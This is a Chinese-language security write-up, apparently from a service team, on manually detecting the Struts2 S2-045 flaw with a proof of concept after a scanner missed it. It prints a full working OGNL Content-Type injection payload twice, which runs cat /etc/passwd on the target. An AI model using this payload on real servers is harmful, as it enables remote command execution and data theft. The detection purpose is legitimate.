一、背景介绍

随着漏洞类型的日益复杂化,漏洞检测设备的局限性也越来越突出。很多漏洞无法通过现有的安全设备检测出来或不能够及时、有效的检测出来,此时需要通过POC漏洞检测技术来发现。

POC全称“proof of concept”中文意思是:漏洞概念验证。通常由一段漏洞验证代码或者漏洞检测数据。通过对检测目标发送此代码或数据后,通过被检测目标返回的信息特殊性,判断漏洞的实际存在与否。

目前市面上的大部分安全检测设备,仅仅只能对已知且匹配规则的漏洞或攻击行为进行检测防护,虽然规则库可以扩充并检测大部分漏洞。但是,对于某些复杂的漏洞类型无法正确检测,并且对于新发现漏洞的匹配规则补丁发布有一段真空期。因此仅仅依赖于安全检测设备会对我们判断漏洞的准确性和及时性大打折扣,是巨大的潜在隐患。此时就需要人工利用漏洞的POC (对于威胁较大的漏洞来说的,文件内包含有触发漏洞的代码或信息)去检测此漏洞的存在情况。

二、漏洞发现

1、传统漏洞扫描

S2-045漏洞爆发后,对相关的具有该漏洞的业务系统进行了一番整改后,又进行了一轮struts2漏洞扫描,未发现漏洞情况。下图为绿盟科技主机扫描器RSAS6.0扫描结果:




poc 漏洞 springboot poc漏洞机制_漏洞扫描

图1-绿盟科技RSAS扫描配置页面




poc 漏洞 springboot poc漏洞机制_struts_02

图2-绿盟科技RSAS漏洞扫描饼状图




poc 漏洞 springboot poc漏洞机制_Access_03

图3-绿盟科技RSAS漏洞扫描结果漏洞情况



2、POC人工检测

漏洞扫描结束后,我们安全服务小组利用POC漏洞检测技术进行人工检测,检测结果发现的确存在漏洞,具体过程如下:

寻找或构建相应漏洞的POC,其中一种向服务器请求返回用户列表类型struts2-045的POC如下:

POST /ipa/js/jquery-1.7.2.min.js HTTP/1.1Accept: */*Referer: http://10.147.251.177:8080/ipa/loginContent-Length: 223Host: 10.147.251.177:8080Connection: Keep-AliveUser-Agent: Mozilla/5.0 compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0Accept-Encoding: gzip,deflateCookie: JSESSIONID=69CCEA5012785FF97D982A6BE98B83EDContent-Type:%{(#nike='multipart/formdata').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'ipconfig.exe'}:{'cat','/etc/passwd'})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

(2)将浏览器的代理设置为burpsuite(一种截包工具,实现对http协议的嗅探、截断等功能)默认的127.0.0.1,然后用浏览器打开需要检测struts2-045漏洞的URL。在burpsuite中看到截取的数据包;




poc 漏洞 springboot poc漏洞机制_struts_04


(3)将此数据包中加入content-type字段,即POC中的(struts2-045漏洞是基于ognl表达式,更改http协议中的conten-Type字段进行代码注入,系统执行代码,输出命令执行结果);

Content-Type:%{(#nike='multipart/formdata').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ifconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'ipconfig.exe'}:{'cat','/etc/passwd'})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

(4)点击go,执行POC中的cat/etc/passwd(见红色部分)命令,右边返回linux用户列表的etc/passwd文件,判断此页面含有struts2-045漏洞。


poc 漏洞 springboot poc漏洞机制_Access_05


(5)检测到此为止,目前已经发现多所高校存在st2漏洞情况,可以远程执行任意系统命令。

三、总结及建议

智圣安全服务小组始终站在安全的第一线,当各种新型高危漏洞出现时,强烈建议定期更新安全设备的补丁库。如果漏洞处于安全设备的真空期,智圣安全服务小组也会在第一时间对我们服务的客户利用此方式及时准确的检测出系统漏洞情况并提供解决方案。

我们将通过及时提醒客户,并在授权范围之内进行服务器等设备安全配置加固,涉及代码层面的修改,可以配合指导业务系统厂商进行代码的完善。最终希望保障客户的服务器和业务系统在面对所有新型攻击时能从容、有效的应对。